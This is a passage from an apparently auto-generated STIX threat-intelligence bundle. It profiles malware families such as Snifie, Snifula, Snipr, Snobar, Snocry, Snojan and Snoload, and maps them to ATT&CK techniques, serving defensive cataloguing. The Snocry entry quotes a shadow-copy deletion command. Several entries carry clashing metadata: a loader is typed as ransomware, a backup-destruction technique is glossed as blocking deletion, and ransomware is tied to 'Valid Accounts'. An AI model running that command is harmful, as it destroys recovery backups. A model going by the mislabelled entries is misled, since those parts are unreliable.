      "description": "<h3>Executive Summary</h3>\nSnifie is a specialized Information Stealer and Network Sniffer. Unlike standard info-stealers that rely on extracting passwords from local files (like browser databases), Snifie's primary objective is to silently monitor local network interfaces. It captures and parses raw network traffic (packet sniffing) to intercept unencrypted passwords, FTP credentials, and sensitive data transmitted over the local area network (LAN).\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause it requires administrative privileges to interact directly with network interface cards (NICs), Snifie is typically deployed post-compromise. Threat actors install it after gaining initial access via RDP brute-forcing, exploiting unpatched vulnerabilities, or through the lateral movement phase of an attack.\n\nOnce executed with elevated privileges, Snifie performs deep packet inspection:\n<ul>\n<li><strong>Promiscuous Mode:</strong> The malware attempts to place the host's network adapter into \"promiscuous mode,\" allowing it to capture all traffic passing through that network segment, not just traffic destined for the infected machine itself.</li>\n<li><strong>Protocol Parsing:</strong> Snifie is specifically coded to parse common, unencrypted protocols such as HTTP (looking for `POST` data containing login forms), FTP, Telnet, POP3, and IMAP, extracting usernames and passwords in real-time.</li>\n<li><strong>Silent Exfiltration:</strong> The captured credentials are saved to a hidden log file (often obfuscated or encrypted) and periodically transmitted to the attacker's Command and Control (C2) server.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Snifie infection is a critical security incident that threatens the entire local network segment. If deployed on a central server or a machine connected to a highly trafficked switch, it can passively harvest administrative credentials for the entire domain without triggering standard endpoint alarms.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Network Segmentation and Isolation:</strong> Immediately isolate the infected machine. Due to the nature of a sniffer, you must assume that any unencrypted traffic that traversed that network segment while the malware was active has been compromised.</li>\n<li><strong>Credential Reset and Protocol Audit:</strong> Mandate a reset of all credentials. More importantly, this incident highlights a severe architectural flaw: the use of cleartext protocols. An immediate audit must be conducted to deprecate FTP/Telnet in favor of SFTP/SSH, and enforce HTTPS for all internal applications.</li>\n<li><strong>Endpoint Eradication:</strong> Utilize enterprise EDR to locate and terminate the Snifie process and any associated packet capture drivers (e.g., rogue WinPcap installations) it may have deployed.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sniffer.Snifie",
        "Spyware.Snifie",
        "Win32/Snifie"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snifie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snifie"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8177d509-080f-5844-b466-285086a52fc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f89e3d29-696d-5a84-a44c-150e5d323b2f",
      "target_ref": "attack-pattern--1eb20a78-23ea-5df6-b008-396219ebd531",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snifie exhibits technique T1040 (Network Sniffing (Stealing credentials in transit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02c0169a-f034-5cda-9c4b-391d47f7c3cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f89e3d29-696d-5a84-a44c-150e5d323b2f",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snifie exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bae85638-53ff-5b1b-b7ca-7eea3f6ab82f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f89e3d29-696d-5a84-a44c-150e5d323b2f",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snifie exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a6d63cd9-fcc3-52a7-acc4-aa0821d4c165",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snifula",
      "description": "<h3>Executive Summary</h3>\nSnifula is a specialized information-stealing Trojan (Info Stealer) that focuses primarily on intercepting and extracting credentials and financial data as they transit the network or are entered into specific applications. Unlike massive, multi-function botnets, Snifula acts as a targeted surveillance tool, silently capturing login details, banking sessions, and FTP credentials to facilitate immediate financial fraud or deep network compromise.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSnifula is typically distributed via targeted spear-phishing campaigns (often disguised as urgent invoices or shipping documents) or silently deployed as a secondary payload by exploit kits hosted on compromised websites.\n\nOnce active, Snifula employs precise data harvesting techniques:\n<ul>\n<li><strong>Network Sniffing and Man-in-the-Browser (MitB):</strong> Advanced variants of Snifula can inject code into web browsers (API hooking) to intercept data *before* it is encrypted via HTTPS. This allows the attacker to capture passwords entered into web forms in plaintext.</li>\n<li><strong>Form Grabbing and Keylogging:</strong> It actively monitors active windows, employing keylogging when the user interacts with specific targeted applications (like banking portals, email clients, or VPN login screens).</li>\n<li><strong>Credential Store Extraction:</strong> The trojan systematically extracts saved passwords, cookies, and session tokens directly from the local credential stores of popular web browsers (Chrome, Firefox, Edge).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Snifula infection is a critical security incident prioritizing data theft. The immediate risk is financial fraud if banking credentials are stolen. The secondary, often more severe risk, is the theft of corporate VPN or RDP credentials, which allows the attacker (or an Initial Access Broker who purchases the data) to bypass perimeter defenses and establish a permanent foothold.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to isolate the endpoint to halt the active exfiltration of captured credentials and network traffic logs.</li>\n<li><strong>Global Credential Reset:</strong> It must be assumed that all passwords entered on or stored within the compromised machine have been stolen. A mandatory, global reset of all associated credentials (including MFA tokens if session cookies were stolen) is absolutely required.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the deep system hooking required for Man-in-the-Browser attacks, attempting to clean the infection is insufficient. The endpoint must undergo a complete bare-metal wipe and re-image from a trusted baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Snifula",
        "Spyware.Snifula",
        "Win32/InfoStealer.Snifula"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snifula",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snifula"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97b394de-3e90-51ea-90c9-952292d1a622",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6d63cd9-fcc3-52a7-acc4-aa0821d4c165",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snifula exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9cb6e04-5143-5a1f-9f1d-342b5143bc66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6d63cd9-fcc3-52a7-acc4-aa0821d4c165",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snifula exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbe9d6d4-9ae2-56fd-9594-dc0dc575169f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6d63cd9-fcc3-52a7-acc4-aa0821d4c165",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snifula exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--446ad258-0826-50be-add3-840af70e054a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6d63cd9-fcc3-52a7-acc4-aa0821d4c165",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snifula exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--40f5a80e-aa51-5970-b062-bb2d745f2743",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snipr",
      "description": "HackTool:Win32/Snipr is a classification for malicious tools specifically designed to automate 'Credential Stuffing' attacks. While not a virus that infects a host in the traditional sense, Snipr (and similar tools like SentryMBA or OpenBullet) are used by cybercriminals to take massive lists of leaked usernames and passwords from previous breaches and automatically test them against high-value targets like banking sites, streaming services, or corporate VPNs (`T1110.004`).<br><br><b>Understanding Snipr (Credential Stuffing)</b><br>To an end-user, they may suddenly find their Netflix or bank account compromised, even though they didn't click a phishing link (because they reused a password). For a SOC analyst, detecting Snipr on a corporate endpoint means an insider or an attacker who has already breached the perimeter is actively using the corporate network as a launchpad to conduct attacks against external (or internal) web applications.<br><br><b>Execution and Attack Mechanics</b><br>Snipr requires a 'combo list' (millions of `username:password` pairs) and a configuration file that tells the tool how to interact with the target website's login form. Upon execution, the attacker loads proxies (`T1090`) to distribute the login requests and hide their true IP address. Snipr then launches thousands of concurrent HTTP POST requests to the target login page (`T1110.004`). It analyzes the HTTP response codes or page text to determine if the login was successful, saving valid accounts to a 'hits' file.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the mass compromise of user accounts leading to fraud or unauthorized access. Host-based IoCs include the presence of the Snipr executable, large text files containing 'combo lists' (`username:password` pairs), and configuration files tailored to specific web applications. Network IoCs are highly visible if not proxied: a massive volume of outbound HTTP POST requests directed at a single URL (the login page of a target service), originating from the endpoint. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snipr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snipr"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e1d7bfa-9026-5388-b5df-aa0db4530deb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40f5a80e-aa51-5970-b062-bb2d745f2743",
      "target_ref": "attack-pattern--f4f085c1-1f77-5f2a-b2d9-93ad9e29beba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snipr exhibits technique T1110.004 (Brute Force: Credential Stuffing (The core function of the Snipr tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--314acf48-5567-511e-9c97-b20eebfe2494",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40f5a80e-aa51-5970-b062-bb2d745f2743",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snipr exhibits technique T1090 (Proxy (Utilizing proxy lists to distribute the attack and evade rate limiting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59f55bac-e173-5606-9cd3-a02edaf6ab57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40f5a80e-aa51-5970-b062-bb2d745f2743",
      "target_ref": "attack-pattern--d7a11f7a-7131-5b5e-bb5b-4f6d1bda2a37",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snipr exhibits technique T1589.001 (Gather Victim Identity Information: Credentials (Relying on previously breached password lists))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--92686cb0-1848-5b07-bc55-8f0e1ba47853",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snobar",
      "description": "Trojan:Win32/Snobar is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Snobar</b><br>To an end-user, a Snobar infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Snobar is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Snobar is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Snobar frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Snobar reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snobar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snobar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07ba3731-4838-599f-835b-e66213fb39c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92686cb0-1848-5b07-bc55-8f0e1ba47853",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snobar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7e9cb50-a8a7-59e4-8468-4dfc3b87e790",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92686cb0-1848-5b07-bc55-8f0e1ba47853",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snobar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a171f5e-18e6-575c-99d8-943a147325dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92686cb0-1848-5b07-bc55-8f0e1ba47853",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snobar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a09f1ec0-e760-5280-bcf0-9d9d1d595d74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92686cb0-1848-5b07-bc55-8f0e1ba47853",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snobar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b35a124b-1fb7-589a-947a-03b5a18299b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92686cb0-1848-5b07-bc55-8f0e1ba47853",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snobar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5cb7276e-ff8d-5f68-922a-a270cb37195e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snocry",
      "description": "<h3>Executive Summary</h3>\nSnocry is a destructive ransomware family designed to extort financial payment from victims by encrypting their critical files and demanding a cryptocurrency ransom. It targets Windows operating systems and leverages strong encryption algorithms to ensure that data recovery is virtually impossible without the attacker's proprietary decryption key.\n\n<h3>Technical Execution and Encryption Process</h3>\nSnocry typically infiltrates networks via malicious spam (malspam) campaigns containing exploit kits or through the exploitation of unsecured Remote Desktop Protocol (RDP) connections.\n\nOnce executed on a target machine, Snocry performs a rapid, automated attack sequence:\n<ul>\n<li><strong>Defense Evasion:</strong> The ransomware attempts to terminate security software, stop backup services, and disable database processes to ensure files are unlocked and available for encryption.</li>\n<li><strong>Shadow Copy Destruction:</strong> To thwart native Windows recovery methods, Snocry executes commands (e.g., `vssadmin.exe delete shadows /all /quiet`) to systematically destroy local Volume Shadow Copies.</li>\n<li><strong>Data Encryption:</strong> Snocry utilizes robust symmetric encryption (such as AES) to encrypt a wide array of document, image, and database file types. The encrypted files are appended with a specific `.snocry` (or similar variant) extension.</li>\n<li><strong>Extortion:</strong> A ransom note is dropped onto the desktop and in affected directories, providing instructions on how to access a Tor-based payment portal to purchase the decryption tool with Bitcoin.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA Snocry infection results in a catastrophic denial of access to critical business data. Without secure, offline backups, organizations face massive operational downtime, severe financial loss, and reputational damage. Paying the ransom funds criminal enterprises and offers no guarantee of successful data recovery.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Offline, Immutable Backups:</strong> The only reliable defense against Snocry is a robust 3-2-1 backup strategy, ensuring that at least one copy of critical data is stored offline and is immutable.</li>\n<li><strong>RDP Security:</strong> Secure all remote access points. RDP must be placed behind a VPN, secured with Multi-Factor Authentication (MFA), and restricted via strict IP whitelisting.</li>\n<li><strong>Behavioral EDR:</strong> Deploy EDR solutions tuned to immediately block processes attempting mass file modifications or the unauthorized deletion of volume shadow copies.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Snocry",
        "Win32/Snocry",
        "Trojan-Ransom.Snocry"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snocry",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snocry"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df00334d-d939-53c9-8377-50b4ca47e793",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cb7276e-ff8d-5f68-922a-a270cb37195e",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snocry exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7cbbc77-0503-5b61-850a-9700c62477d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cb7276e-ff8d-5f68-922a-a270cb37195e",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snocry exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5982f47a-2422-56e4-aa7c-0f9de3f4901f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cb7276e-ff8d-5f68-922a-a270cb37195e",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snocry exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a793755-bf42-547f-9e09-113a69c81e62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5cb7276e-ff8d-5f68-922a-a270cb37195e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snocry exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1be41b43-1724-5b8a-abdc-05c97764381d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snojan",
      "description": "Snojan (cataloged across security research authorities as Trojan.Win32.SNOJAN.A, Trojan:Win32/Snojan, and Backdoor:Win32/Snojan) is a persistent backdoor trojan and covert spyware framework targeting Microsoft Windows operating systems. Written primarily in Delphi and C++, Snojan serves as a modular stage-one loader and surveillance utility. Upon successful execution, Snojan establishes encrypted TCP/HTTP communication with remote command-and-control servers, enabling remote attackers to download secondary payloads, capture keystrokes, intercept screen contents, enumerate local processes, and execute arbitrary command shells. Snojan leverages registry Run keys and startup folder links to maintain persistence across system reboots. (Observed samples in benchmark: 324)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Win32.SNOJAN.A",
        "Trojan:Win32/Snojan",
        "Trojan.Win32.Snojan",
        "Backdoor:Win32/Snojan",
        "Win32/Snojan.Gen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Snojan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/snojan"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68084cce-f7e8-5296-9263-83ff136357f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1be41b43-1724-5b8a-abdc-05c97764381d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snojan exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2dd51cdf-ad1d-5764-896a-0c706219b161",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1be41b43-1724-5b8a-abdc-05c97764381d",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snojan exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da9c9acc-0eb0-5bd6-b4a4-8b27421d97f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1be41b43-1724-5b8a-abdc-05c97764381d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snojan exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48d66ec2-5d2e-5ba0-a4e7-8fb2736be980",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1be41b43-1724-5b8a-abdc-05c97764381d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snojan exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02bbca29-4b56-5438-9f32-e2ae77084a5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1be41b43-1724-5b8a-abdc-05c97764381d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snojan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46c5f29b-db5f-5167-9ddf-82f49b06994e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1be41b43-1724-5b8a-abdc-05c97764381d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Snojan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--daac3b89-d8a9-5a3e-b36d-4c12bac821b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Snoload",
      "description": "TrojanDownloader:Win32/Snoload is a stealthy, first-stage downloader designed specifically to establish a foothold on a compromised system and securely retrieve secondary, more dangerous payloads from an attacker-controlled Command and Control (C2) server (`T1105`). It is built to be small, evade initial detection, and act as the gateway for larger threats like banking trojans or ransomware.<br><br><b>Understanding Snoload (Trojan Downloader)</b><br>To an end-user, a Snoload infection is entirely silent. They may open a seemingly benign email attachment, and when nothing happens, assume the file was corrupt. For a SOC analyst, a Snoload detection is a critical early warning. The primary objective is not just to quarantine Snoload, but to determine exactly what it downloaded before it was stopped.<br><br><b>Execution and Evasion Strategies</b><br>Snoload is typically delivered via spearphishing campaigns utilizing weaponized Microsoft Office macros (`T1566.001`) or malicious JavaScript/VBScript attachments. Upon execution, the script unpacks or decrypts the small Snoload executable. Snoload often uses techniques like API hashing and encrypted strings to hide its C2 domains from static analysis (`T1027`). Once running, it reaches out to its C2 server via HTTPS. It downloads the secondary payload (often a heavily encrypted blob), decrypts it in memory, and uses Process Injection (`T1055`) to execute the final payload within the context of a legitimate system process, completely bypassing disk-based antivirus scanning.<br><br><b>Indicators of Compromise (IoCs)</b><br>The most crucial IoCs are behavioral and network-based. EDR telemetry will show an unusual process tree (e.g., `winword.exe` -> `cmd.exe` -> `powershell.exe` -> `snoload.exe`). Network IoCs include the initial outbound beaconing to suspicious domains or IP addresses. The definitive behavioral IoC is Snoload attempting to 